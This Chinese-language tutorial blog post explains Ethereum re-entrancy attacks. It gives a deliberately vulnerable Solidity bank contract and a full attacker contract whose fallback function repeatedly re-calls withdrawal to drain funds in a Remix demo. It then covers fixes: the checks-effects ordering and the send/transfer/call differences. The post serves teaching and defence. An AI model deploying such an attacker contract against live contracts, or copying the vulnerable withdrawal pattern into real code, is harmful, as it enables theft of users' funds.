以太坊重入攻击(Re-Entrancy)示例及预防

重入攻击

以太坊智能合约的特点之一是合约之间可以进行相互间的外部调用。同时,以太坊的转账不仅局限于外部账户,合约账户同样可以拥有Ether,并进行转账等操作。

向以太坊合约账户进行转账,发送Ether的时候,会执行合约账户对应合约代码的回调函数(fallback)。
一旦向被攻击者劫持的合约地址发起转账操作,迫使执行攻击合约的回调函数,回调函数中包含回调自身代码,将会导致代码执行“重新进入”合约。这种合约漏洞,被称为重入漏攻击Re-Entrancy。

示例代码

银行存定期的例子。
bank.sol

pragma solidity >=0.4.22 <0.6.0;
contract Bank {

    // 银行账户信息
    mapping(address => uint256) public usersinfo;
  
  	// 用户存钱,保存到usersinfo
    function save() public payable returns (uint256){
        require(msg.value>0);
        usersinfo[msg.sender]=usersinfo[msg.sender]+ msg.value;
       return usersinfo[msg.sender];
    }
    
    // 显示账户余额
    function showBalance(address addr) public view returns(uint256){
        return usersinfo[addr];
    }
    
    // 显示总账户余额,测试使用
     function showTotalBalance() public view returns(uint256){
        return address(this).balance;
    }

    // 用户提现
    function withdrawal() public payable{
    	// 判断是否到期,或者是否锁定等。
        // require(now>saveTime+10)
        uint amount = usersinfo[msg.sender];
        // 账户有钱才提现
        if(amount>0){
            msg.sender.call.value(amount)("");
            usersinfo[msg.sender]=0;
        }
    }
    
    function()  external payable{} 
}

由于合约也是一个账户,我们可以使用 **合约到银行去开户存钱**hack.sol`

pragma solidity >=0.4.22 <0.6.0;
import "./bank.sol";

contract Hack {
	
	// 银行实例
    Bank public bank;

    // 调用栈,次数过大会异常
    uint256 public stack=0;

    // 构造函数
    constructor(address payable _bankAddr) public payable{
        bank = Bank(_bankAddr);
    }
    
    // 到银行存钱
    function bankSave() public payable returns (uint256){
       return bank.save.value(1 ether)();
    }
    
    // 显示账户余额
    function showBalance()public view returns (uint256){
        return address(this).balance;
    }

    // 拿回自己合约的钱,当然这里可以加权限,onlyHacker,只有黑客可以提现
    function collectEther() public {
      msg.sender.transfer(address(this).balance);
    }

    // 到银行提现
    function withdrawal() public {
        bank.withdrawal();
    }
    
    // fallback函数,
    function() external payable{
        stack += 1;
        if(msg.sender.balance >=1 ether && stack < 200){
        	// 如有有钱就提现
            bank.withdrawal();
        }
    }
}

详细流程

为了方便部署演示,这里使用remix编辑器,初始化5个账户,每个账户100eth
以太坊重入攻击(Re-Entrancy)示例及预防_第1张图片
使用账户1部署,得到合约地址,并存入银行10eth,并使用账户2、3、4分别存入10 eth。此时银行账户总额40eth
以太坊重入攻击(Re-Entrancy)示例及预防_第2张图片

部署攻击合约

使用账户5 作为黑客,拿到合约地址0x692…,作为参数部署自己的hack合约hack.sol


contract Hack {
	// 银行实例
    Bank public bank;
    // 构造函数
    constructor(address payable _bankAddr) public payable{
        bank = Bank(_bankAddr);
    }
}

调用攻击方法

调用银行存钱 方法 存入2eth(其中1 eth到hack合约账户,1eth到达银行账户)

    // 存入银行
    function bankSave() public payable returns (uint256){
       return bank.save.value(1 ether)();
    }

此时银行账户总额41 eth

以太坊重入攻击(Re-Entrancy)示例及预防_第3张图片

重入攻击

withdrawal调用,账户5的余额变为140 eth。
以太坊重入攻击(Re-Entrancy)示例及预防_第4张图片

调用withdrawal 函数,进行银行提现,由于本账户为合约账户,当银行发送以太币的时候会自动调用 fallback函数。
在fallback中,又进行了银行的提现。导致重复提现,直至银行账户清。


// 提现
    function withdrawal() public {
        bank.withdrawal();
    }
    
    // fallback函数,
    function() external payable{
        stack += 1;
        if(msg.sender.balance >=1 ether && stack < 200){
        	// 如有有钱就提现
            bank.withdrawal();
        }
    }

重入攻击避免

  • checks-effects模式,即检查兽先修改状态,后发起转账交易,如果失败则回滚状态,或者手动处理
bank.sol

    function withdrawal() public payable{
    
        uint amount = usersinfo[msg.sender];
        if(amount>0){
       		// 清空账户信息,如果下次调用,amount=0,不会进入if
            usersinfo[msg.sender]=0;
            msg.sender.call.value(amount)("");
            // usersinfo[msg.sender]=0;
        }
    }

这里还有一个问题,就是如果提现失败(call.value),交易并不会回滚,此时usersinfo[msg.sender]已清空

修改2

    function withdrawal() public payable{
        uint amount = usersinfo[msg.sender];
        if(amount>0){
       		// 清空账户信息,如果下次调用,amount=0,不会进入if
            usersinfo[msg.sender]=0;
           if (msg.sender.call.value(amount)("")== false){
             usersinfo[msg.sender]=amount;
             // emit 发送提现消息事件
            }
        }
    }
  • 使用send ,transfer 转账时只有2300个gas,不⾜以⽀撑第⼆次交易
  • 使用最近的solidity编译版本,新版本一般会过期非安全的函数及变量

其他安全防范

边界检测 溢出(使用安全 safemath库)
变量可见性
tx.originx等
https://blog.csdn.net/bondsui/article/details/88097119

send transfer call区别

  • address.transfer()
    throws on failure
    forwards 2,300 gas stipend (not adjustable), safe against reentrancy
    should be used in most cases as it’s the safest way to send ether // 仅转账,不处理失败时

  • address.send()
    returns false on failure // 不会抛出异常,如果失败返回错误
    forwards 2,300 gas stipend (not adjustable), safe against reentrancy // 2300 gas安全
    should be used in rare cases when you want to handle failure in the contract 如果需要处理失败时,如游戏开发中常用send

  • address.call.value().gas()()
    returns false on failure
    forwards all available gas (adjustable), not safe against reentrancy // 转发all gas,不安全
    should be used when you need to control how much gas to forward when sending ether or to call a function of another contract

注意:当send()调用消耗掉所有的gas时,它也不会抛出异常,只是返回false。

你可能感兴趣的:(合约安全,dapp安全,以太坊安全,区块链)